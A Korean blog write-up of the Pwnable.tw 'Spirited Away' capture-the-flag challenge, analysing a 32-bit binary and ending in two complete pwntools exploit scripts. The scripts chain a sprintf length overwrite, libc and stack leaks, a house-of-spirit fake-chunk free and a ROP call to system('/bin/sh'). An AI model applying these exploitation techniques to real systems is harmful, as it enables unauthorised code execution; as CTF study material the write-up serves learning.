CIDY
[Pwnable.tw] Spirited Away(Write-up) 본문
이거 풀면 400등대로 올라갈 수 있다... 제목으로 궁예질해보자면 왠지 house of spirit같은 느낌이 든다. malloc문제면 16.04나 18.04일텐데, 제발 18.04였으면 좋겠다고 비는 중.
spirited away는 영화 제목이었나보다. leave comment..
진짜 있는 영화인지 궁금해서 검색했는데 이게 spirited away였구나 ㄷㄷ 무식한 거 티내지 말고 코드나 보러 가야겠다. 메인 기능은 survey함수에 있는 듯하니 들어가보자.
일단 이름 입력받는다. malloc된 곳에 입력받는데, nbytes는 0x3c로 딱 malloc한 사이즈다.
그 다음에 age입력받는다.
왜 이 영화를 보러 왔냐고 묻는다. v7은 ebp - 0x50이고, v3이 딱 0x50이다.
그리고 comment를 남겨달라고 한다. s의 크기는 바로 아래의 v5(age)를 침범하지 않으려면 0x50이 최대다. 근데 nbytes는 0x3c니까 상관없을 듯.
그리고 전역변수인 cnt를 하나 증가시킨 다음, name age reason comment를 다 출력해준다.
name은 새로 할당한 청크에서 출력하는거라 뭐 딱히 걸릴 건 없는거 같은데, 만약 뒤에 free있고 버전 좀 낮으면 uaf느낌으로 뭘 릭할수도 있겠다 싶음. 근데 어차피 malloc크기는 정해져 있어서 뭘 기대하기 힘들지도..?
age는 딱 int형 포맷맞춰서 출력해주니까 별거없을거같고..
reason은 v7에 담았고 그쪽은 memset안했으니까 뭐 릭할 수 있을거같음.
그리고 comment는 s에 담겨있는데 거기는 memset한데다가 입력도 꽉 안 받아서 취약하지는 않을지도.
다 출력하고 나면 이런걸 출력한다. v1에 저 문자열을 저장하고 puts한다. 그리고 puts(&::s)는 뭐지? 🙄
레이블 2를 반복하는 것 같은데, 200개 되면 ㅂㅂ한다.
마지막 부분이다. 요즘 코드 너무 가벼운것만 읽어서 좀 걱정된다.. 그래도 7~8월까지만 해도 ida로 코드 읽지도 못해서 직접 손으로 옮겨 쓰고 그랬었는데... 많이 발전했다고 생각한다. 그리고 저번에 hitcon때 나온 wtfshell도 오픈소스여서 컨셉 이해가 쉽기는 했지만 1000줄 짜린데 코드분석은 금방 마쳤었고.. 그래도 저번에 과제로 나온 NVODIA같은거 읽다 만 걸 생각하면 난 아직 한----참 멀기는 했다...(사실 NVODIA는 붙잡고 읽으면 풀것같긴 했는데 학기중이었음 + 코드가 너무 읽기 싫게 생겨서 버렸었다.)
암튼, 한 번 리뷰입력을 마치면 다른 리뷰 남길거냐고 묻는다. choice는 전역변수 같은데.. char인데 3입력받네.. 이것도 한번 봐야겠다. 그리고 친절하게도 대소문자를 둘 다 지원하는데, Y하면 buf(name)를 free해주고 레이블 2로 가서 다시 루틴을 돈다. N하면 break -> 걍 종료, 그리고 둘 다(넷 다?) 아니면 Wrong choice라고 알려주고 ㅂㅂ한다.
음.. 일단 아까 그 puts도 의문이고, 실행부터 시켜보자.
흠 puts는 그냥 개행 정도였나?
그리고 생각한대로 memset안해서 뭐 나온듯. 여기서 쓸만한 거 릭하면 될 것 같다. 일단 18.04에서 하는데 왠지 16.04일 것 같은 느낌이 강하게 들어서 환경이 뭐인지만 검색해봣는데 2.23인듯하다. vm키러 가자..왜 16.04는 WSL이 없는 걸까..
일단 여기서 표시한 부분이 reason들어가는 부분임. 바로 다음에 립씨영역 있는거같은데 하위 3이 000이라 한바이트 더 넣어도 널때문에 1/16확률로 릭이 안 될수도ㅋㅋ 그냥 평범한거 하나 잡아서 릭해야겠다.
흠 300pt짜리인데 이렇게 립씨릭이 간단하게 가능하다는 건 그다음이 어려울 것 같다. 일단 partial relro니까 got overwrite를 염두에 둘 수 있다. malloc-free관계를 이용해보려고 했는데, 아무래도 능동적으로 할당과 해제를 할 수 있는 환경이 아니다보니 각이 잘 안 잡힌다.
2.23에 0x3c이면 fastbin에서 뭘 해봐야 하는 건가 싶다.
아 근데 힙 분석 도구가 작동을 안 한다. 32에서 이런 일이 종종 있는듯..머 그래도 좀 불편할 뿐이지 직접 뜯어보는걸로 커버칠 수 있다. 😥
일단 전역 상황이다. 표시한 부분이 choice들어가는 부분이고, cnt는 한칸 두고 떨어져 있다. 입력이 겹칠 우려(==기회)는 없을듯.
그럼 어떻게 fake chunk에 연결하냐는 건데...힙 영역을 좀 더 살펴보자.
이게 free(buf)직후 상태인데, 역시 해제 이후에는 적었던 모든 데이터가 사라진다. 근데 이상한 걸 발견함. 그 아래 청크 보면 data부분에 22\n가 입력되어 있다. 0x1009정도 사이즈면...0x1000할당 요청을 보냈다는 거고 22엔터는 누가봐도 내가 입력한 age인데 (sendline으로 보냈으니 정확함.) 저거 왜 저기 들어가있냐..
분명 age를 받은 변수는 지역변수로, 스택에 쌓여야 하는데...입력 과정을 한 번 살펴보자.
여기가 ebp - 0x58로, v5가 있는 위치이다. 잘 들어갔네.. 그냥 힙은 문자로 받은 뒤 atoi같은거 하는 장치인가..?
그리고 힙영역 맨 위 청크에서 정보를 얻을 수 있을 줄 알았더니, 2.23이라 그런가 그런것도 없다.... 😐
아 취약점 어딨냐..
진짜 코드만 뚫어져라 살펴보다가 다른건 80 60같은 dec값 기준 딱 떨어지는 값인데, v1만 56짜리 버퍼인 게 이상해서 이거 길이를 세어봤다. 겉보기에는 절대 56자 안 될 것 같은데 %d빼고 54자나 된다...여기서 뭔가 각이 보인다. %d가 10진수 -> 문자로 저장될거고,, sprintf면 뒤에 아마 널 붙일거니까 v1가 십진으로 두 자릿수가 되면 바로 뒤에 있는 size_t nbytes변수를 overwrite할 수 있다. buf를 malloc할때는 60이라는 상수를 써서 하고, buf에 read할때는 nbytes라는 변수를 써서 한 게 곧 취약점이 되는 것이다.
n으로 덮일 건데, n은 \x6e고, 110이니까 꽤 넘치게 할 수 있다. (두 번째 문장이 온점으로 안 끝나는것도 의도인가 ㅋㅋ) 일단 그러면 십진수로 세 자리가 되어야 하니까 리뷰 100개만 쓰자.
100개를 달성했으면, 그 다음부터는 60짜리 heap에 110씩 쓸 수 있게 된다. 이걸로 뭘 하지.. scanf때문에 간격상 탑청크 사이즈 조작..같은 건 못 쓸 것 같고. 가짜 청크라도 하나 만들어서 해제시켜야 하나..? scanf로 만들어진 청크가 사용 후에 해제되는지 알아봐야겠다.
일단 scanf루틴 속에 malloc이 포함되는 건 맞는 것 같은데, 100번 반복해도 탑청크 사이즈가 유지되는 걸 보면 할당-해제를 반복했기 때문 아닐까?
그리고 review함수를 짜서 100번 for문 돌렸는데 뭔가 입력이 이상해짐.. 그래도 얼레벌레 100번은 찍었으니 됐긴 한데
아 생각해보니 review개수가 두 자릿수에 진입하면 malloc에 입력을 0으로 받는다 ㅋㅋ그래서 밀려서 오류난듯. -> 입력 안 보내서 해결하면 됨.
그리고 아까와 같은 선상에서 취약점이 하나 더 있는데, nbytes로 입력받는 게 두 군데였던 것임. 하나는 힙에 있는 name이고, 하나는 스택에 있는 s이다. 그런데 s아래 아래에 buf포인터가 있다!
내가 원하는 주소를 free할 수 있는 장치라... 역시 문제 이름처럼 house of spirit이 강하게 의심되는 상황이다.
흠 일단 bss쪽에 하나 해제해볼까..
2.23이면 그냥 취약할 줄 알았는데 free뒤에 청크가 있는지 정도는 검사하는 것 같다. 내가 분석했던 malloc은 2.32인데, 거기는 당연히 검사 과정이 있어서 저게 대충 무슨 검사인지 알기는 아는데, 2.23은 없을줄 알았지ㅋㅋ
근데 그럼 사실상 bss에 fake chunk을 만들고 해제하는 건 힘들다. 힙에서 가짜 청크 헤더를 여러 개 만든 다음, 힙 주소를 릭해서 buf에 넣는 방법도 생각중. -> 힙주소 어디서 릭하지? -> 굳이 완전히 릭할 필요 있나? 어차피 내가 buf에 입력 넣을 때 buf에는 이미 힙 주소가 들어가 있다. 하위 3자리는 늘 고정이니까 아래만 살짝 덮어버리면 그만이긴 함. 마침 위치도 한 바이트만 덮어도 되는 상황이니 확률싸움할 필요도 없음.
일단 그럼 house of spirit을 일으킬 수 있는건 ㅇㅋ. 그걸 어떻게 최종 익스로 연계할 것인가?를 생각해봐야 한다. 사실 sprintf에서 overwrite -> overflow일으킬 수 있다는 걸 알았을 때 rop를 떠올렸는데, ebp에 닿기까지 0x50이 더 있어서 조금 곤란함.
그럼 스택에 fake chunk만들어서 malloc해오면 110으로도 충분한 rop를 만들 수 있지 않을까?
그러려면 일단 스택 주소 릭.. 하고 최대한 bp에 가까운 쪽에 fake chunk생성하고, 그걸 해제시켜야 함..
상세 계획은 다음과 같다.
1. 스택 + 립씨릭 -> memset안되는걸로 릭 -> 이게 remote에서는 조금 관건일 것 같긴 함.
2. 100번 채워서 0x6e만큼 쓸수있게하기
3. reason쓸때 buf를 dummy시작 주소로 덮으면 됨. dummy가 뭐냐면 -> reason입력할 때 v7쓰니까 그때 0x50을 다음과 같이 구성하면 됨. dummy(0x8) + fake chunk header(0x8) + dummy(0x38) + fake chunk header(0x8)
4. 그리고 다음에 name쓸 때 오버플로우 나니까 rop하면 됨. system + dummy + binsh
from pwn import *
#context.log_level = 'debug'
def review(name, age, reason, comment):
p.sendafter(b"Please enter your name: ", name)
p.sendlineafter(b"Please enter your age: ", str(age))
p.sendafter(b"Why did you came to see this movie? ", reason)
p.sendafter(b"Please enter your comment: ", comment)
def noname(age, reason):
p.sendlineafter(b"Please enter your age: ", str(age))
p.sendafter(b"Why did you came to see this movie? ", reason)
p = process("./spirited_away")
#p = remote("chall.pwnable.tw", 10204)
e = ELF("./spirited_away")
libc = e.libc
review(b"A", 22, b"A" * 0x14, b"A") #libc leak
p.recvuntil(b"AAAAAAAAAAAAAAAAAAAA")
puts = u32(p.recvuntil(b"\xf7")) - 347
libc_base = puts - libc.sym['puts']
print(hex(libc_base))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
p.sendafter(b"Would you like to leave another comment? <y/n>: ", b"Y")
review(b"A", 22, b"A" * 0x38, b"A") #stack leak
p.recvuntil(b"Reason: ")
p.recvn(0x38)
ebp = u32(p.recvn(4)) - 0x20
print(hex(ebp))
for i in range(8):
p.sendafter(b"Would you like to leave another comment? <y/n>: ", b"Y")
review(b"AAAA", 22, b"BBBB", b"CCCC")
for i in range(90):
p.sendafter(b"Would you like to leave another comment? <y/n>: ", b"Y")
noname(22, b"BBBB")
p.sendafter(b"Would you like to leave another comment? <y/n>: ", b"Y")
reason = b""
reason += b"A" * 0x8
reason += p32(0) + p32(0x41) #fake chunk header 1
reason += b"A" * 0x38
reason += p32(0) + p32(0x41) #fake chunk header 2
comment = b""
comment += b"A" * 0x50
comment += p32(22) #my age is 22
comment += p32(ebp - 0x40) #SPIRIT!
review("cidy", 22, reason, comment)
p.sendafter(b"Would you like to leave another comment? <y/n>: ", b"Y")
name = b""
name += b"A" * 0x40
name += b"A" * 0x4 #sfp
name += p32(system)
name += b"A" * 0x4 #dummy
name += p32(binsh)
review(name, 22, "JUST BECAUSE", "HMM..")
p.sendafter(b"Would you like to leave another comment? <y/n>: ", b"N")
p.interactive()
그렇게 로컬에서 성공한 익스코드..ㅠㅠㅠ 삽질 너무 많이했다.. 사실 가능성을 줄여나가면 당연히 stack에서 fake chunk구성하도록 귀결되는데 아직 힙을 완전히 모르니까 이것도 되지 않을까? 싶은 마음에 삽질을 하게 된 것 같다..
흠...근데 이게 remote에서는 또 안되는게 문제다.
env적용이 아직 안 돼서;;
from pwn import *
#context.log_level = 'debug'
def review(name, age, reason, comment):
p.sendafter(b"Please enter your name: ", name)
p.sendlineafter(b"Please enter your age: ", str(age))
p.sendafter(b"Why did you came to see this movie? ", reason)
p.sendafter(b"Please enter your comment: ", comment)
def noname(age, reason):
p.sendlineafter(b"Please enter your age: ", str(age))
p.sendafter(b"Why did you came to see this movie? ", reason)
#p = process("./spirited_away")
p = remote("chall.pwnable.tw", 10204)
e = ELF("./spirited_away")
#libc = e.libc
libc = ELF("./libc_32.so.6")
review(b"A", 22, b"A" * 0x20, b"A") #libc leak
p.recvuntil(b"Reason: ")
p.recvn(0x20)
libc_base = u32(p.recvn(4)) - libc.sym['_IO_2_1_stdout_']
print(hex(libc_base))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
p.sendafter(b"Would you like to leave another comment? <y/n>: ", b"Y")
review(b"A", 22, b"A" * 0x38, b"A") #stack leak
p.recvuntil(b"Reason: ")
p.recvn(0x38)
ebp = u32(p.recvn(4)) - 0x20
print(hex(ebp))
for i in range(8):
p.sendafter(b"Would you like to leave another comment? <y/n>: ", b"Y")
review(b"AAAA", 22, b"BBBB", b"CCCC")
for i in range(90):
p.sendafter(b"Would you like to leave another comment? <y/n>: ", b"Y")
noname(22, b"BBBB")
p.sendafter(b"Would you like to leave another comment? <y/n>: ", b"Y")
reason = b""
reason += b"A" * 0x8
reason += p32(0) + p32(0x41) #fake chunk header 1
reason += b"A" * 0x38
reason += p32(0) + p32(0x41) #fake chunk header 2
comment = b""
comment += b"A" * 0x50
comment += p32(22) #my age is 22
comment += p32(ebp - 0x40) #SPIRIT!
review("cidy", 22, reason, comment)
p.sendafter(b"Would you like to leave another comment? <y/n>: ", b"Y")
name = b""
name += b"A" * 0x40
name += b"A" * 0x4 #sfp
name += p32(system)
name += b"A" * 0x4 #dummy
name += p32(binsh)
review(name, 22, "JUST BECAUSE", "HMM..")
p.sendafter(b"Would you like to leave another comment? <y/n>: ", b"N")
p.interactive()
어찌저찌 맞췄다.. ㅠㅠㅠㅠㅠ
What is your spirit in pwn? 🙃
'Hack > Pwnable' 카테고리의 다른 글
[Pwnable.tw] Alive Note(Write-up) (0) | 2023.01.29 |
---|---|
[Pwnable.tw] Secret Garden(Write-up) (0) | 2023.01.25 |
[Pwnable.tw] Death Note(Write-up) (0) | 2023.01.09 |
[Pwnable.tw] seethefile(Write-up) (1) | 2023.01.07 |
[Pwnable.tw] Re-alloc(Write-up) (1) | 2023.01.04 |